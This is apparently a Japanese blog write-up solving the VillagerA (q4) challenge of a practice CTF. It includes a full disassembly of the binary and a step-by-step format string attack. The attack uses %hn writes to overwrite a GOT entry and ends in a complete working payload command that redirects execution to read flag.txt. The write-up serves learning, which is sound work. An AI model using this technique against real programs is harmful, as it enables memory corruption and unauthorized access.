常設ctfのVillagerA(村人A)がpwnの登竜門とのことでやってみた。
この問題はformat string attack(書式指定文字列攻撃)というテクニックを使う。
かなり勉強になったので、忘れないようにメモ。
自分が思い出せる事に重点を置いて書いたので、判りにくと思うww
SSHでログインすると以下のような感じ。
flag.txtはpermissionではじかれる。q4の脆弱性をついて、flag.txtを参照すればフラグゲット。
q4を動かす
[q4@localhost ~]$ ./q4 What's your name? mah Hi, mah Do you want the flag? yes Do you want the flag? yes Do you want the flag? yes Do you want the flag? no I see. Good bye. [q4@localhost ~]$ ./q4 What's your name? ABCD,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x Hi, ABCD,00000400,003568c0,00000008,00000014,00904fc4,44434241,3830252c,30252c78,252c7838
引数%08xに対して、反応し、16進数も文字列を返している。
6個目の%08xで返した”44434241″は”ABCD”である。（リトルエンディアン表記）
この事から、format string attack (以下、FSAと省略)が有効であることが判る。詳しくはこちらで。
6個目の%08xで返した”44434241″は”ABCD”である。
値と、6個目の引数を表示するには以下のように入力する。
[q4@localhost ~]$ echo -e "ABCD%6\$08x" | ./q4 What's your name? Hi, ABCD44434241
次は逆アセンブル。
[q4@localhost ~]$ objdump -d q4
q4: file format elf32-i386
Disassembly of section .init:
08048424 <_init>:
8048424: 55 push %ebp
8048425: 89 e5 mov %esp,%ebp
8048427: 53 push %ebx
8048428: 83 ec 04 sub $0x4,%esp
804842b: e8 00 00 00 00 call 8048430 <_init+0xc>
8048430: 5b pop %ebx
8048431: 81 c3 a0 15 00 00 add $0x15a0,%ebx
8048437: 8b 93 fc ff ff ff mov -0x4(%ebx),%edx
804843d: 85 d2 test %edx,%edx
804843f: 74 05 je 8048446 <_init+0x22>
8048441: e8 1e 00 00 00 call 8048464 <__gmon_start__@plt>
8048446: e8 45 01 00 00 call 8048590 <frame_dummy>
804844b: e8 00 03 00 00 call 8048750 <__do_global_ctors_aux>
8048450: 58 pop %eax
8048451: 5b pop %ebx
8048452: c9 leave
8048453: c3 ret
Disassembly of section .plt:
08048454 <__gmon_start__@plt-0x10>:
8048454: ff 35 d4 99 04 08 pushl 0x80499d4
804845a: ff 25 d8 99 04 08 jmp *0x80499d8
8048460: 00 00 add %al,(%eax)
...
08048464 <__gmon_start__@plt>:
8048464: ff 25 dc 99 04 08 jmp *0x80499dc
804846a: 68 00 00 00 00 push $0x0
804846f: e9 e0 ff ff ff jmp 8048454 <_init+0x30>
08048474 <putchar@plt>:
8048474: ff 25 e0 99 04 08 jmp *0x80499e0 ・・・・・・・②
804847a: 68 08 00 00 00 push $0x8
804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>
08048484 <fgets@plt>:
8048484: ff 25 e4 99 04 08 jmp *0x80499e4
804848a: 68 10 00 00 00 push $0x10
804848f: e9 c0 ff ff ff jmp 8048454 <_init+0x30>
08048494 <__libc_start_main@plt>:
8048494: ff 25 e8 99 04 08 jmp *0x80499e8
804849a: 68 18 00 00 00 push $0x18
804849f: e9 b0 ff ff ff jmp 8048454 <_init+0x30>
080484a4 <fopen@plt>:
80484a4: ff 25 ec 99 04 08 jmp *0x80499ec
80484aa: 68 20 00 00 00 push $0x20
80484af: e9 a0 ff ff ff jmp 8048454 <_init+0x30>
080484b4 <printf@plt>:
80484b4: ff 25 f0 99 04 08 jmp *0x80499f0
80484ba: 68 28 00 00 00 push $0x28
80484bf: e9 90 ff ff ff jmp 8048454 <_init+0x30>
080484c4 <puts@plt>:
80484c4: ff 25 f4 99 04 08 jmp *0x80499f4
80484ca: 68 30 00 00 00 push $0x30
80484cf: e9 80 ff ff ff jmp 8048454 <_init+0x30>
080484d4 <__gxx_personality_v0@plt>:
80484d4: ff 25 f8 99 04 08 jmp *0x80499f8
80484da: 68 38 00 00 00 push $0x38
80484df: e9 70 ff ff ff jmp 8048454 <_init+0x30>
080484e4 <strcmp@plt>:
80484e4: ff 25 fc 99 04 08 jmp *0x80499fc
80484ea: 68 40 00 00 00 push $0x40
80484ef: e9 60 ff ff ff jmp 8048454 <_init+0x30>
Disassembly of section .text:
08048500 <_start>:
8048500: 31 ed xor %ebp,%ebp
8048502: 5e pop %esi
8048503: 89 e1 mov %esp,%ecx
8048505: 83 e4 f0 and $0xfffffff0,%esp
8048508: 50 push %eax
8048509: 54 push %esp
804850a: 52 push %edx
804850b: 68 e0 86 04 08 push $0x80486e0
8048510: 68 f0 86 04 08 push $0x80486f0
8048515: 51 push %ecx
8048516: 56 push %esi
8048517: 68 b4 85 04 08 push $0x80485b4
804851c: e8 73 ff ff ff call 8048494 <__libc_start_main@plt>
8048521: f4 hlt
8048522: 90 nop
8048523: 90 nop
8048524: 90 nop
8048525: 90 nop
8048526: 90 nop
8048527: 90 nop
8048528: 90 nop
8048529: 90 nop
804852a: 90 nop
804852b: 90 nop
804852c: 90 nop
804852d: 90 nop
804852e: 90 nop
804852f: 90 nop
08048530 <__do_global_dtors_aux>:
8048530: 55 push %ebp
8048531: 89 e5 mov %esp,%ebp
8048533: 53 push %ebx
8048534: 8d 64 24 fc lea -0x4(%esp),%esp
8048538: 80 3d 08 9a 04 08 00 cmpb $0x0,0x8049a08
804853f: 75 3e jne 804857f <__do_global_dtors_aux+0x4f>
8048541: bb e4 98 04 08 mov $0x80498e4,%ebx
8048546: a1 0c 9a 04 08 mov 0x8049a0c,%eax
804854b: 81 eb e0 98 04 08 sub $0x80498e0,%ebx
8048551: c1 fb 02 sar $0x2,%ebx
8048554: 83 eb 01 sub $0x1,%ebx
8048557: 39 d8 cmp %ebx,%eax
8048559: 73 1d jae 8048578 <__do_global_dtors_aux+0x48>
804855b: 90 nop
804855c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048560: 83 c0 01 add $0x1,%eax
8048563: a3 0c 9a 04 08 mov %eax,0x8049a0c
8048568: ff 14 85 e0 98 04 08 call *0x80498e0(,%eax,4)
804856f: a1 0c 9a 04 08 mov 0x8049a0c,%eax
8048574: 39 d8 cmp %ebx,%eax
8048576: 72 e8 jb 8048560 <__do_global_dtors_aux+0x30>
8048578: c6 05 08 9a 04 08 01 movb $0x1,0x8049a08
804857f: 8d 64 24 04 lea 0x4(%esp),%esp
8048583: 5b pop %ebx
8048584: 5d pop %ebp
8048585: c3 ret
8048586: 8d 76 00 lea 0x0(%esi),%esi
8048589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
08048590 <frame_dummy>:
8048590: 55 push %ebp
8048591: 89 e5 mov %esp,%ebp
8048593: 8d 64 24 e8 lea -0x18(%esp),%esp
8048597: a1 e8 98 04 08 mov 0x80498e8,%eax
804859c: 85 c0 test %eax,%eax
804859e: 74 12 je 80485b2 <frame_dummy+0x22>
80485a0: b8 00 00 00 00 mov $0x0,%eax
80485a5: 85 c0 test %eax,%eax
80485a7: 74 09 je 80485b2 <frame_dummy+0x22>
80485a9: c7 04 24 e8 98 04 08 movl $0x80498e8,(%esp)
80485b0: ff d0 call *%eax
80485b2: c9 leave
80485b3: c3 ret
080485b4 <main>:
80485b4: 55 push %ebp
80485b5: 89 e5 mov %esp,%ebp
80485b7: 83 e4 f0 and $0xfffffff0,%esp
80485ba: 81 ec 20 04 00 00 sub $0x420,%esp
80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp)
80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt>
80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax
80485d1: 89 44 24 08 mov %eax,0x8(%esp)
80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80485dc: 00
80485dd: 8d 44 24 18 lea 0x18(%esp),%eax
80485e1: 89 04 24 mov %eax,(%esp)
80485e4: e8 9b fe ff ff call 8048484 <fgets@plt>
80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp)
80485f0: e8 bf fe ff ff call 80484b4 <printf@plt>
80485f5: 8d 44 24 18 lea 0x18(%esp),%eax
80485f9: 89 04 24 mov %eax,(%esp)
80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt>
8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
8048608: e8 67 fe ff ff call 8048474 <putchar@plt>
804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp)
8048614: 01 00 00 00
8048618: eb 67 jmp 8048681 <main+0xcd>
804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp)
8048621: e8 9e fe ff ff call 80484c4 <puts@plt>
8048626: a1 04 9a 04 08 mov 0x8049a04,%eax
804862b: 89 44 24 08 mov %eax,0x8(%esp)
804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
8048636: 00
8048637: 8d 44 24 18 lea 0x18(%esp),%eax
804863b: 89 04 24 mov %eax,(%esp)
804863e: e8 41 fe ff ff call 8048484 <fgets@plt>
8048643: 85 c0 test %eax,%eax
8048645: 0f 94 c0 sete %al
8048648: 84 c0 test %al,%al
804864a: 74 0a je 8048656 <main+0xa2>
804864c: b8 00 00 00 00 mov $0x0,%eax
8048651: e9 86 00 00 00 jmp 80486dc <main+0x128>
8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp)
804865d: 08
804865e: 8d 44 24 18 lea 0x18(%esp),%eax
8048662: 89 04 24 mov %eax,(%esp)
8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt>
804866a: 85 c0 test %eax,%eax
804866c: 75 13 jne 8048681 <main+0xcd>
804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp)
8048675: e8 4a fe ff ff call 80484c4 <puts@plt>
804867a: b8 00 00 00 00 mov $0x0,%eax
804867f: eb 5b jmp 80486dc <main+0x128>
8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax
8048688: 85 c0 test %eax,%eax
804868a: 0f 95 c0 setne %al
804868d: 84 c0 test %al,%al
804868f: 75 89 jne 804861a <main+0x66>
8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp)
8048698: 08
8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp)
80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> ・・・・・①
80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp)
80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax
80486b3: 89 44 24 08 mov %eax,0x8(%esp)
80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80486be: 00
80486bf: 8d 44 24 18 lea 0x18(%esp),%eax
80486c3: 89 04 24 mov %eax,(%esp)
80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt>
80486cb: 8d 44 24 18 lea 0x18(%esp),%eax
80486cf: 89 04 24 mov %eax,(%esp)
80486d2: e8 dd fd ff ff call 80484b4 <printf@plt>
80486d7: b8 00 00 00 00 mov $0x0,%eax
80486dc: c9 leave
80486dd: c3 ret
80486de: 90 nop
80486df: 90 nop
080486e0 <__libc_csu_fini>:
80486e0: 55 push %ebp
80486e1: 89 e5 mov %esp,%ebp
80486e3: 5d pop %ebp
80486e4: c3 ret
80486e5: 66 66 2e 0f 1f 84 00 data32 nopw %cs:0x0(%eax,%eax,1)
80486ec: 00 00 00 00
080486f0 <__libc_csu_init>:
80486f0: 55 push %ebp
80486f1: 89 e5 mov %esp,%ebp
80486f3: 57 push %edi
80486f4: 56 push %esi
80486f5: 53 push %ebx
80486f6: e8 4f 00 00 00 call 804874a <__i686.get_pc_thunk.bx>
80486fb: 81 c3 d5 12 00 00 add $0x12d5,%ebx
8048701: 83 ec 1c sub $0x1c,%esp
8048704: e8 1b fd ff ff call 8048424 <_init>
8048709: 8d bb 08 ff ff ff lea -0xf8(%ebx),%edi
804870f: 8d 83 08 ff ff ff lea -0xf8(%ebx),%eax
8048715: 29 c7 sub %eax,%edi
8048717: c1 ff 02 sar $0x2,%edi
804871a: 85 ff test %edi,%edi
804871c: 74 24 je 8048742 <__libc_csu_init+0x52>
804871e: 31 f6 xor %esi,%esi
8048720: 8b 45 10 mov 0x10(%ebp),%eax
8048723: 89 44 24 08 mov %eax,0x8(%esp)
8048727: 8b 45 0c mov 0xc(%ebp),%eax
804872a: 89 44 24 04 mov %eax,0x4(%esp)
804872e: 8b 45 08 mov 0x8(%ebp),%eax
8048731: 89 04 24 mov %eax,(%esp)
8048734: ff 94 b3 08 ff ff ff call *-0xf8(%ebx,%esi,4)
804873b: 83 c6 01 add $0x1,%esi
804873e: 39 fe cmp %edi,%esi
8048740: 72 de jb 8048720 <__libc_csu_init+0x30>
8048742: 83 c4 1c add $0x1c,%esp
8048745: 5b pop %ebx
8048746: 5e pop %esi
8048747: 5f pop %edi
8048748: 5d pop %ebp
8048749: c3 ret
0804874a <__i686.get_pc_thunk.bx>:
804874a: 8b 1c 24 mov (%esp),%ebx
804874d: c3 ret
804874e: 90 nop
804874f: 90 nop
08048750 <__do_global_ctors_aux>:
8048750: 55 push %ebp
8048751: 89 e5 mov %esp,%ebp
8048753: 53 push %ebx
8048754: 8d 64 24 fc lea -0x4(%esp),%esp
8048758: a1 d8 98 04 08 mov 0x80498d8,%eax
804875d: 83 f8 ff cmp $0xffffffff,%eax
8048760: 74 12 je 8048774 <__do_global_ctors_aux+0x24>
8048762: bb d8 98 04 08 mov $0x80498d8,%ebx
8048767: 90 nop
8048768: 8d 5b fc lea -0x4(%ebx),%ebx
804876b: ff d0 call *%eax
804876d: 8b 03 mov (%ebx),%eax
804876f: 83 f8 ff cmp $0xffffffff,%eax
8048772: 75 f4 jne 8048768 <__do_global_ctors_aux+0x18>
8048774: 8d 64 24 04 lea 0x4(%esp),%esp
8048778: 5b pop %ebx
8048779: 5d pop %ebp
804877a: c3 ret
804877b: 90 nop
Disassembly of section .fini:
0804877c <_fini>:
804877c: 55 push %ebp
804877d: 89 e5 mov %esp,%ebp
804877f: 53 push %ebx
8048780: 83 ec 04 sub $0x4,%esp
8048783: e8 00 00 00 00 call 8048788 <_fini+0xc>
8048788: 5b pop %ebx
8048789: 81 c3 48 12 00 00 add $0x1248,%ebx
804878f: e8 9c fd ff ff call 8048530 <__do_global_dtors_aux>
8048794: 59 pop %ecx
8048795: 5b pop %ebx
8048796: c9 leave
8048797: c3 ret
215行目でファイルをオープンしている。
おそらく、”Do you want the flag?”に対する正解を応えればflag.txtが出る仕組みと推測。
FSAは任意の位置のメモリを書き換えてくれる。
どこかの呼び出される値をfopenの少し前の0x08048691に書き換える事でフラグをとれるハズ。
main関数を読み返す。上から読んでいくと41行目で示した0x08048474のジャンプ先0x080499e0が使えそう。
で、どうするか。
ググった結果、以下が判った。ももいろテクノロジーさんから引用
- %s指定子は対応する引数で指定されたアドレスが指す文字列を出力する。
つまり、AAAAの部分に読み出したいアドレスをセットした上で%10$sを指定すれば、
任意のアドレスからnullバイトが現れるまでのメモリ内容を出力させることができる。 - AAAAの代わりに書き換えたいアドレスをセットし、
%100cなどで適当な数（ここでは100）だけ文字を出力した上で
%10$nを指定すれば、そのアドレスにあるメモリ4バイトを任意の値に書き換えることができる。
たとえば、0xaabbccddからの4バイトを11 00 00 00 (=17) に書き換えるには次のようにする。$ ./a.out $’\xdd\xcc\xbb\xaa%13c%10\$n’
[+] buf = 0xbffff6f8
Segmentation fault (core dumped)先頭のアドレス指定ですでに4バイト出力しているので%cで出力させる文字数には目的の数から4引いた数を指定する。
- 上の方法で4バイト書き換えるとき、文字数をそのまま指定する
と大量の文字を出力することになり時間がかかる。
そこで、先頭から1バイトずつ4回に分けて書き換える方法が取られる。
また、%nの代わりに%hnを使うと2バイト、%hhnを使うと1バイトのみの書き換えにすることができる。
ここで出力文字数が書き換えられるバイト長を越えた場合については、上位のバイトが無視される。
上記3つが注意点。1バイトずつやるのもとても長くなるでしょ。
2バイトずつ2回に分けて%nを使ってみる。
参照元は書き換え先がひとつだが、今回は2回にわけるので、書き換え先も2つになる。
一つ目の書き換え先から2バイト入力し、続けて2バイト入力するので、
一つ目の書き換え先と2つ目の書き換え先は2バイトずれる。
つまり以下となる。
0x080499e0 と 0x80499e2
上記の書き換え先を参照先に習って(リトルエンディアンを考慮)変換すると以下となる。
\xe0\x99\x04\x08\xe2\x99\x04\x08
次は書き換え元である。
2回にわけるから引数も2つ必要である。
%6\$hn と %7\$hn が引数の後方にくる。
これの前に2バイトずつ 0x08048691 をそのまま分けて書けばよいわけでは無いようだ。
まず、”\xe0\x99\x04\x08\xe2\x99\x04\x08″で8バイト使用しているので、8バイト分 引く必要がある。
0x08048691 – 8 = 0x08048689
2バイトずつわけるので
0x0804 0x8689
リトルエンディアンなので、前半が”%7\$hn “に後半が”%6\$hn “になる。
%7\$hnの前部分の表記はさらにオフセットを考慮しなければならない。
今回の場合、以下の式になる。
0x0804 + 0x10000 – 0x8689 – 0x08 = 0x8173
そこからさらに10進数に直す（←なぜかはよくわかってないw）
0x8689 → 34441
0x8173 → 33139
つまり、引数の部分は以下となる。
%34441c%6\$hn%33139c%7\$hn
よって、以下を入力すればよい。
echo -e “\xe0\x99\x04\x08\xe2\x99\x04\x08%34441c%6\$hn%33139c%7\$hn” | ./q4
疲れた。。nopでジャンプ命令書き換えとかの方が速そうだと思ったが、sshログインだとできないのかなぁ。。